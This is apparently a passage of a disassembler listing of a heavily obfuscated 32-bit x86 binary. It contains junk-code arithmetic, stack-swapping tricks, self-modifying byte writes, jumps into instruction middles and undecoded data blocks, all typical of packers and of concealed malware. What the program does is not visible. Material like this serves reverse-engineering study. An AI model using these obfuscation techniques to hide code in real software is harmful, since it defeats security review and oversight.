		push	offset byte_4317A9
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_430E27
; ---------------------------------------------------------------------------
		dd 24348700h, 0F85DF75Eh, 0F87D83h, 0FC17840Fh,	28E9FFFFh
		dd 0C6FFFFE1h, 685F8707h, 0EEAC8EE1h, 8B240C87h, 0C88159C1h
		dd 21CBB7AEh, 0EF09E081h, 7CE9E556h, 3,	19AFBB00h, 0FDE90043h
		dd 68000009h, 7D525D7Ah, 1BC08158h, 815988F6h, 4E9BB8E0h
		dd 9A5E920h, 0C30000h, 8701C600h, 0DE96859h, 9CE90043h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_43188F:				; CODE XREF: fzj3qwht:004313E6j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_431890:				; CODE XREF: sub_431686+12C4j
		jmp	loc_431C97
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		align 2
		jmp	locret_42FACC
; ---------------------------------------------------------------------------
		align 4
		dd 0DD8EE999h, 8700FFFFh, 2C872434h, 5DF58B24h,	0D1D6852h
		dd 1BE9A353h, 1, 0E8CF8B00h, 0F1Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4318C2:				; CODE XREF: fzj3qwht:0042FAA2j
		jmp	locret_42F981
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_4318C9:				; CODE XREF: fzj3qwht:loc_42FACFj
		rol	edi, 6
		add	edi, 5B5F65E4h
		call	sub_42FA52
		mov	esi, 6064ECEBh
		jmp	sub_42ED87
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4318E2	proc near		; CODE XREF: sub_431686+12AEp
		xchg	edi, [esp+0]
		pop	edi
		add	edx, 0C483AE96h
		stosd
		call	sub_431E7D
		retn
sub_4318E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4318F3:				; CODE XREF: fzj3qwht:004306FCj
		jmp	near ptr dword_430054+12h
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_4318F9:				; CODE XREF: sub_42F4AE+20Aj
		jmp	locret_42F525
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		dw 8100h
		dd 0BE6D1EC0h
		db 71h,	8Bh, 0
byte_431907	db 15h			; DATA XREF: fzj3qwht:0042FBB2o
		dd 0FFECC6E8h, 726857FFh, 0E9B2B75Ah, 0FFFFE45Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_43191A:				; CODE XREF: sub_42FA52:loc_42F736j
		push	edx
		push	0E6F12C6Ch
		pop	edx
		or	edx, 0E7BBA961h
		rol	edx, 13h
		xor	edx, 0F8335E68h
		add	edx, 6CE6A87Ch
		jmp	loc_42FE43
; END OF FUNCTION CHUNK	FOR sub_42FA52

; =============== S U B	R O U T	I N E =======================================



sub_43193B	proc near		; DATA XREF: fzj3qwht:loc_430248o
		mov	byte ptr [esi],	0C7h
		pop	esi
		add	edx, ebp
		call	loc_43099D
sub_43193B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_431452


loc_431946:				; CODE XREF: sub_431452+DFj
		jmp	loc_4320D8
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		align 4
		dd 0D682820Fh, 0C5B8FFFFh, 0E9A63BDBh, 0FFFFD925h
		db 0
; ---------------------------------------------------------------------------


loc_43195D:				; CODE XREF: fzj3qwht:loc_432633j
		xchg	esi, [esp]
		mov	ebp, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4316FE


loc_431965:				; CODE XREF: sub_4316FE-13FEj
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]
		jmp	loc_42ED04
; END OF FUNCTION CHUNK	FOR sub_4316FE
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_431971:				; CODE XREF: sub_431F5F-151Fj
		call	sub_43052F


loc_431976:				; CODE XREF: fzj3qwht:0043024Dj
		add	cl, ch
		sub	ch, dh
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F188


loc_43197D:				; CODE XREF: sub_42F188+1Aj
		jmp	loc_42F9E4
; END OF FUNCTION CHUNK	FOR sub_42F188
; ---------------------------------------------------------------------------
		jmp	loc_431D6D
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_431989:				; CODE XREF: fzj3qwht:0042EB73j
		xchg	edi, [esp]
		pop	edi
		push	edx
		mov	edx, offset loc_431EE7
		jmp	loc_42FC56
; ---------------------------------------------------------------------------
		dd 0E93E8900h, 701h
		db 0
byte_4319A1	db 87h,	0Ch, 24h	; DATA XREF: fzj3qwht:loc_42F7FDo
		dd 0FFE191E9h, 0EDB800FFh, 0BC00424Fh, 6C84C6C0h, 52FFFFE1h
		dd 0FFFDACE9h, 81F91BFFh, 29B569C2h, 81C2D16Ah,	4F1770C2h
		dd 0DD4FE864h, 0D5E9FFFFh, 0FFFFD3h
; ---------------------------------------------------------------------------


loc_4319D8:				; CODE XREF: fzj3qwht:0043030Ej
		jmp	loc_431BFC
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
; ---------------------------------------------------------------------------
		retn	0FEADh
; ---------------------------------------------------------------------------
		db 87h
		dd 0AEFC1B7h, 0FFF53DE9h, 520000FFh, 0C813FC68h, 0EA815AA4h
		dd 0F57473FAh, 5FFDC281h, 148750ACh, 0C015FF24h, 0E80042A0h
		dd 0FFFFFBC6h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_431A12:				; CODE XREF: sub_431686-1B5Ej
		jmp	nullsub_154
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_431410


loc_431A18:				; CODE XREF: sub_431410+63Fj
		add	[ebx-2E74AD14h], cl
		call	sub_42E990
; END OF FUNCTION CHUNK	FOR sub_431410
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_431A25:				; CODE XREF: fzj3qwht:00430EDDj
		jmp	loc_4307D0
; ---------------------------------------------------------------------------
		test	edx, 534A64Fh
		jmp	loc_431ABE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431410


loc_431A37:				; CODE XREF: sub_431410:loc_4320F3j
		and	edi, 9E9541A6h
		xor	edi, 30BBA9E9h
		and	edi, 0CAB6433h
		add	edi, 0FBD5E001h
		jecxz	short loc_431A18
		pop	edi
		jmp	near ptr byte_42E955+2
; END OF FUNCTION CHUNK	FOR sub_431410
; ---------------------------------------------------------------------------


loc_431A57:				; CODE XREF: fzj3qwht:loc_432008j
		pop	esi
		call	sub_431F38
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 15B89CC1h, 9D098BB2h, 0E8240C87h, 0FFFFD50Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_431A72:				; CODE XREF: fzj3qwht:0042F2CEj
		mov	al, [ebp+eax-20h]
		push	520DBE92h
		pop	edx
		and	edx, 4F7911A5h
		call	sub_430497
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_431A88:				; CODE XREF: sub_431452+8E8j
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_431A8F:				; CODE XREF: sub_431686+10F7j
					; sub_42F8A9:loc_432782p
		xchg	edx, [esp]
		pop	edx
		xchg	esi, [esp]


loc_431A96:				; DATA XREF: sub_42EFCF:loc_43077Eo
		xor	al, 15h
		shl	byte ptr [eax+4EE90042h], 0FFh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 2C600FFh, 98685A87h,	87769D88h, 0D98B240Ch, 0EAC38159h
		dd 0E9B5B81Ch, 0FFFFDECFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_431ABE:				; CODE XREF: fzj3qwht:00431A30j
		js	near ptr byte_42F52D+2
		xchg	ebx, [esp]
		pop	ebx
		inc	dword ptr [ebp-8Ch]
		jmp	near ptr dword_430254
; ---------------------------------------------------------------------------
		db 0Fh
		dd 3DB8Ch, 9C000000h, 0FFDA0DE9h
; ---------------------------------------------------------------------------


loc_431AE0:				; DATA XREF: sub_431686:loc_42FB23o
		jmp	fword ptr [eax-2Bh]
; ---------------------------------------------------------------------------
		db 0Dh
		dd 0ABE90043h, 0FFFFFDh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_431AED	proc near		; CODE XREF: fzj3qwht:0042EA3Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042EE3D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00431239 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004316D0 SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		pop	edi


loc_431AF8:				; DATA XREF: fzj3qwht:004327E3o
		inc	esi
		or	al, 24h
		push	ecx
		jmp	loc_431239
sub_431AED	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_4323E7


loc_431B02:				; CODE XREF: sub_4323E7+Cj
		xchg	ebx, [esp+0]
		push	4816C813h
		pop	esi
		xor	esi, 0ACE55FE9h
		and	esi, 0F3FC4FE0h
		xor	esi, 0BE4C83A8h
		rol	esi, 1Bh
		jmp	loc_431BC3
; END OF FUNCTION CHUNK	FOR sub_4323E7
; ---------------------------------------------------------------------------
		db 2 dup(0), 13h
; ---------------------------------------------------------------------------
		setalc
		jmp	loc_4327CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4312D7


loc_431B2E:				; CODE XREF: sub_4312D7-101Bj
		adc	al, ch
		call	sub_430F2A
; END OF FUNCTION CHUNK	FOR sub_4312D7
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_431B37:				; CODE XREF: fzj3qwht:0042EDA5j
		jmp	loc_431EE7
; ---------------------------------------------------------------------------
		dd 815F0000h, 349DCCEAh, 0AC28182h, 3FB7BD8h, 0EB1DE8D5h
		dd 0FFFFh, 850FA43Ch, 0FFFFE181h, 0FFE173E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_431B61:				; CODE XREF: fzj3qwht:0043250Bj
		jmp	loc_430ED7
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_42FA99
; ---------------------------------------------------------------------------
		align 2
		dw 0C231h
		dd 0AB850F49h, 87000008h, 3AE9243Ch, 0FFFFFDh
		db 0
; ---------------------------------------------------------------------------


loc_431B81:				; CODE XREF: fzj3qwht:004300A5j
		jnz	loc_431E16
		jmp	locret_430985
; ---------------------------------------------------------------------------
		dd 0EA810000h, 595CA7E1h, 27BE9h, 8B000000h, 0E91F890Bh
		dd 0FFFFDB7Dh, 33F88100h, 0E947FBE5h, 0FFFFE96Fh, 0C2875868h
		dd 0E881587Bh, 49C92848h, 0F810890Fh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4323E7


loc_431BC3:				; CODE XREF: sub_4323E7-8C7j
		jmp	loc_42EB3D
; END OF FUNCTION CHUNK	FOR sub_4323E7
; ---------------------------------------------------------------------------
		dd 0FFD7CEE9h, 990000FFh, 0FFF7FBE9h, 810000FFh, 0FC6CDCC0h
		dd 24041F1Ah, 0FFDE29E9h, 266853FFh, 0E900430Bh, 0FFFFEF30h
		dd 22CF8100h, 0E9A63689h, 0FFFFCFE1h
; ---------------------------------------------------------------------------


loc_431BFC:				; CODE XREF: fzj3qwht:loc_4319D8j
		xchg	ecx, [esp]
		mov	esi, offset nullsub_151
		jmp	loc_432833
; ---------------------------------------------------------------------------
		db 68h,	77h, 0D2h
		dd 815E3B45h, 56E3DDEEh, 65C6819Fh, 0E9641111h,	0FFFFD80Eh
		dd 19CFC100h, 0F2E93A87h, 0FFFFE7h
; ---------------------------------------------------------------------------


loc_431C2C:				; CODE XREF: fzj3qwht:004303E6j
		or	ebx, 0C5398E05h
		xor	ebx, 0E77BFF2Fh
		add	edx, ebx
		pop	ebx
		call	near ptr dword_42EC68+6Dh
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430C13


loc_431C41:				; CODE XREF: sub_430C13+12j
		jmp	loc_43013E
; END OF FUNCTION CHUNK	FOR sub_430C13
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_431C47:				; CODE XREF: fzj3qwht:0042FCE1j
		mov	eax, 43247Ch
		jmp	loc_42E950
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_431C52	proc near		; CODE XREF: sub_431452:loc_430598p
		xchg	ebx, [esp+0]
		pop	ebx
		push	esi
		push	offset word_432066
		jmp	near ptr dword_42E794+70h
sub_431C52	endp

; ---------------------------------------------------------------------------
		align 2
		dw 0F381h
		dd 2152B297h, 0FFF6B6E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_42F188


loc_431C6E:				; CODE XREF: sub_42F188+864j
		push	eax


loc_431C6F:				; CODE XREF: sub_42F188:loc_42F9E4j
		rol	esi, 0Fh
		xor	esi, 1148308Eh
		sbb	eax, 0EFEDE8F5h
; END OF FUNCTION CHUNK	FOR sub_42F188
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
		jmp	loc_43214C

; =============== S U B	R O U T	I N E =======================================



sub_431C85	proc near		; CODE XREF: fzj3qwht:00431747p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		mov	esi, 430ACAh
		jmp	near ptr dword_431018+2
sub_431C85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431686


loc_431C97:				; CODE XREF: sub_431686:loc_431890j
		jz	loc_43144D
		jmp	near ptr dword_42EEA4+1Bh
; END OF FUNCTION CHUNK	FOR sub_431686
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_431CA3:				; CODE XREF: fzj3qwht:004327E8j
		call	near ptr byte_42EA31+2
		add	cl, ch
		push	esp
		pop	es
; ---------------------------------------------------------------------------
		dd 0E95A0000h, 6F6h, 9A870F00h,	0E9000009h, 0FFFFFBE3h
		dd 8713E8C1h
		db 0Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_431CC5:				; CODE XREF: sub_4301AC:loc_42FC85j
		sub	eax, 0A4B4D852h
		add	eax, 62EF0A92h
		call	sub_430F48
		jmp	loc_4315EA
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		align 4
		dd 0FFD1E5E9h, 0EFD4E9FFh, 0FFFFh, 0E9E9C687h, 5EFFFFE4h
		dd 33E3E981h, 685283CBh, 82CC6D06h, 77E2815Ah, 81543177h
		dd 0B08AD0F2h, 9EFA810Eh, 0E94CC6B9h, 0FFFFFDBFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_431D14:				; CODE XREF: sub_431F5F-D65j
		pop	ebx
		jmp	loc_431E9F
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43052F


loc_431D1A:				; CODE XREF: sub_43052F:loc_431E31j
		call	nullsub_140
		nop
		call	sub_430917
; END OF FUNCTION CHUNK	FOR sub_43052F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_431D26:				; CODE XREF: sub_431452:loc_431475j
		mov	byte ptr [eax],	3
		pop	eax
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp+4+var_4]
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		push	offset loc_42EEE9
		jmp	loc_431A88
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_431D41:				; CODE XREF: fzj3qwht:00432761j
		jl	near ptr dword_42EC68+1
; ---------------------------------------------------------------------------
		db 0
		dd 238E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_431D4E:				; CODE XREF: fzj3qwht:0042F4A8j
		jmp	loc_430935
; ---------------------------------------------------------------------------
		align 4
		dd 0E649E900h, 819DFFFFh, 302A1DEEh, 0CF03E945h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_431D68:				; CODE XREF: sub_4301AC+6j
		call	sub_430315


loc_431D6D:				; CODE XREF: fzj3qwht:00431982j
		sub	eax, 3B8F4D56h
		and	eax, 4A0E5340h
		cmp	eax, 75D11C6Eh
		jmp	loc_42FC85
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
		dd 1C870000h, 0FD035B24h, 8927C781h, 3F8B8634h,	0FFEB5DE9h
		dd 36C1F7FFh, 0E925E99Eh, 878h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4301AC


loc_431DA4:				; CODE XREF: sub_4301AC:loc_4315EAj
					; sub_4301AC+1452j
		and	eax, 4F16BEBCh
		push	edi
		push	8611541h
		pop	edi
		add	edi, 269821EEh
		or	edi, 0D153DC74h
		add	edi, 5CE6AE0Dh
		sub	edi, 281C5ADh
		jmp	loc_430C2F
; END OF FUNCTION CHUNK	FOR sub_4301AC
; ---------------------------------------------------------------------------
byte_431DCE	db 0Fh			; DATA XREF: fzj3qwht:0042E85Dw
					; sub_431167-2252o
		db 85h
		dd 0FFFFD699h, 4300AC68h, 0F017E900h, 0FFFFh, 0E1348B0Fh
		dd 71E9FFFFh, 0FFFFF6h,	0AA8EC081h, 689CF1A3h, 430392h
		dd 0FFE58BE9h, 0E6C100FFh, 0EF3DE913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_431E06:				; CODE XREF: fzj3qwht:00430B21j
		rol	ebx, 1Eh
		push	ecx
		mov	ecx, offset byte_430D4D
		jmp	near ptr dword_42E9A4+13h
; ---------------------------------------------------------------------------
		xchg	ecx, [edi]


loc_431E16:				; CODE XREF: fzj3qwht:loc_431B81j
		add	esi, 795C550Eh
		mov	esi, [esi]
		call	near ptr dword_42F064+10h
; ---------------------------------------------------------------------------
		db 0
		dd 1B03B800h, 4BE9E0B7h, 0FFFFF6h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43052F


loc_431E31:				; CODE XREF: sub_43052F+8j
		jz	loc_431D1A
		push	eax
		push	0A569401Bh
		pop	eax
		or	eax, 27B29BAh
		sub	eax, 218496B2h
		add	eax, 90613033h
		xor	eax, 0AE711640h
		jmp	loc_43058C
; END OF FUNCTION CHUNK	FOR sub_43052F
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFE207E9h, 0F0000FFh, 0FFD4A686h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_431E69	proc near		; CODE XREF: fzj3qwht:0042F8F6p

; FUNCTION CHUNK AT 00430F79 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00432872 SIZE 0000000E BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 0DF0BADACh
		add	eax, ebp
		push	eax
		jmp	loc_430F79
sub_431E69	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_431E7D	proc near		; CODE XREF: sub_4318E2+Bp

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	near ptr loc_42F8FB+1
sub_431E7D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFEF72h, 0C30000h
; ---------------------------------------------------------------------------


loc_431E94:				; CODE XREF: fzj3qwht:0042FB78j
		jmp	loc_42FE63
; ---------------------------------------------------------------------------
		align 2
		call	sub_4323E7
; START	OF FUNCTION CHUNK FOR sub_431F5F


loc_431E9F:				; CODE XREF: sub_431F5F-24Aj
		jmp	loc_430B0E
; END OF FUNCTION CHUNK	FOR sub_431F5F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F4AE


loc_431EA6:				; CODE XREF: sub_42F4AE+46j
		jz	loc_42FDFF
		mov	[esi], edi
		jge	loc_42FBA7
		rol	edx, 1Eh
		add	edx, 0FC87D7E0h
		cmp	ecx, edx
		pop	edx
		jmp	near ptr dword_42F3E0+1
; END OF FUNCTION CHUNK	FOR sub_42F4AE
; ---------------------------------------------------------------------------
		align 2


loc_431EC6:				; CODE XREF: fzj3qwht:loc_430758j
		push	esi
		mov	esi, 42E9FCh
		jmp	loc_430248
; ---------------------------------------------------------------------------
		align 2
		mov	byte ptr [ecx],	83h
		xchg	eax, [esp]
		mov	ecx, eax
		pop	eax
		push	31C06743h
		push	edx
		jmp	loc_432061
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_431EE7:				; CODE XREF: fzj3qwht:loc_431B37j
					; DATA XREF: fzj3qwht:0043198Eo
		stosb
		call	sub_430E27
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFFDFBh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431452


loc_431EF6:				; CODE XREF: sub_431452+3Aj
		jmp	nullsub_127
; END OF FUNCTION CHUNK	FOR sub_431452
; ---------------------------------------------------------------------------
		align 4
		dd 0FFCBB9E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_431F03:				; CODE XREF: fzj3qwht:00432685j
		jmp	near ptr dword_42F6C0+9
; ---------------------------------------------------------------------------
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_431F0A:				; CODE XREF: fzj3qwht:0042FC7Ej
		jmp	loc_4306DE
; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_431F11	proc near		; CODE XREF: fzj3qwht:0042F427j
					; sub_431452+11A4p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042E938 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00431388 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043270D SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	eax
		sub	eax, edx
		jmp	loc_431388
sub_431F11	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_431F1F	proc near		; CODE XREF: fzj3qwht:004303C8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00430450 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043080B SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [ebx],	3
		xchg	esi, [esp+0]
		mov	ebx, esi
		pop	esi
		mov	esi, 42E7E7h
		jmp	loc_43080B
sub_431F1F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431F38	proc near		; CODE XREF: fzj3qwht:00431A58p

; FUNCTION CHUNK AT 00432279 SIZE 0000001E BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		mov	eax, offset byte_431499
		jmp	loc_432279
sub_431F38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA52


loc_431F49:				; CODE XREF: sub_42FA52:loc_43273Dj
		xchg	ebx, [esp+4+var_4]
		push	offset byte_430E75
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_42FA52
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 0B6E916CEh
		db 0DFh, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_431F5F	proc near		; CODE XREF: sub_43098E+3p
					; fzj3qwht:004309D8j

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042F134 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F167 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00430A3A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00430B0E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00430FBB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043112B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004311F0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00431971 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00431D14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00431E9F SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	edi
		pop	ebx
		xchg	eax, [esp+0]
		or	edx, edx
		jz	loc_4311F5
		jmp	loc_42F167
sub_431F5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2


loc_431F76:				; CODE XREF: fzj3qwht:0042F161j
		mov	byte ptr [esi],	87h
		pop	esi
		xchg	ebx, [esp]
		mov	ecx, ebx
		jmp	loc_42FEEC
; ---------------------------------------------------------------------------
		dd 0C30000h, 0CC7E8B0Fh, 0EB81FFFFh, 51B688Fh, 0FFEE14E8h
		dd 990000FFh, 0FFF0F5E9h, 0A98B0FFFh, 0E9FFFFCAh, 0FFFFDEA7h
		dd 0E7810000h, 45ADA9C4h, 0BF91C3F7h, 0A4E9FEEAh, 0FFFFFEh
		dd 24048700h, 8B241C87h, 8B5BC3h, 0D556E952h, 108BFFFFh
		dd 0FFE08FE8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_430E27


loc_431FD9:				; CODE XREF: sub_430E27-1647j
		jmp	loc_431811
; END OF FUNCTION CHUNK	FOR sub_430E27
; ---------------------------------------------------------------------------
		dw 5300h
		dd 0EFCB8668h, 0C3815B89h, 0FDD99F46h, 8110C3C1h, 0BA5540C3h
		dd 0B7E38116h, 0E97C4BFBh, 0FFFFF509h
; ---------------------------------------------------------------------------

locret_432000:				; CODE XREF: fzj3qwht:00430BA4j
		retn
; ---------------------------------------------------------------------------


loc_432001:				; CODE XREF: fzj3qwht:0043225Dj
		jmp	loc_430B8E
; ---------------------------------------------------------------------------
		align 4


loc_432008:				; CODE XREF: fzj3qwht:004310DDj
		jmp	loc_431A57
; ---------------------------------------------------------------------------
		align 2
word_43200E	dw 0B568h		; DATA XREF: fzj3qwht:00430B9Fo
		db 0E9h, 0C0h, 0E4h
byte_432013	db 3Ch			; DATA XREF: sub_4309EE-886o
		dd 58562434h, 0FFEA59E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_43201D:				; CODE XREF: fzj3qwht:0042FE5Dj
					; fzj3qwht:loc_430AD1j
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_430917


loc_432020:				; CODE XREF: sub_430917+1CC4j
		jmp	near ptr dword_42E794+99h
; END OF FUNCTION CHUNK	FOR sub_430917
; ---------------------------------------------------------------------------
		align 2
		dw 93E9h
		dd 0FFFFEAh, 58240487h,	59240C87h, 0CBEB6856h, 2AE98424h
		db 0F0h, 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
		align 4

locret_432044:				; CODE XREF: fzj3qwht:loc_430C36j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFE37Ch, 348A0F00h, 99FFFFE4h, 0FFF7CCE9h, 0E80000FFh
		dd 8DCh
		db 0
; ---------------------------------------------------------------------------


loc_432061:				; CODE XREF: fzj3qwht:00431EE1j
		jmp	near ptr dword_43037C+2
; ---------------------------------------------------------------------------
word_432066	dw 8B56h		; DATA XREF: sub_431C52+5o
		dd 243487F0h, 72B00868h, 0E8815813h, 4347FB82h,	67F2C081h
		dd 16E93018h, 0FFFFEDh,	0C9F68100h, 0E9DD7086h,	0FFFFD00Dh

; =============== S U B	R O U T	I N E =======================================



sub_432090	proc near		; CODE XREF: sub_42F4AE:loc_430A70p

; FUNCTION CHUNK AT 0042FCC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FDEC SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	byte ptr [ebx],	87h
		pop	ebx
		push	eax
		mov	eax, ebp
		jmp	loc_42FCC1
sub_432090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C2890F00h, 87FFFFE5h, 3C872404h, 5FC78B24h,	9731FC68h
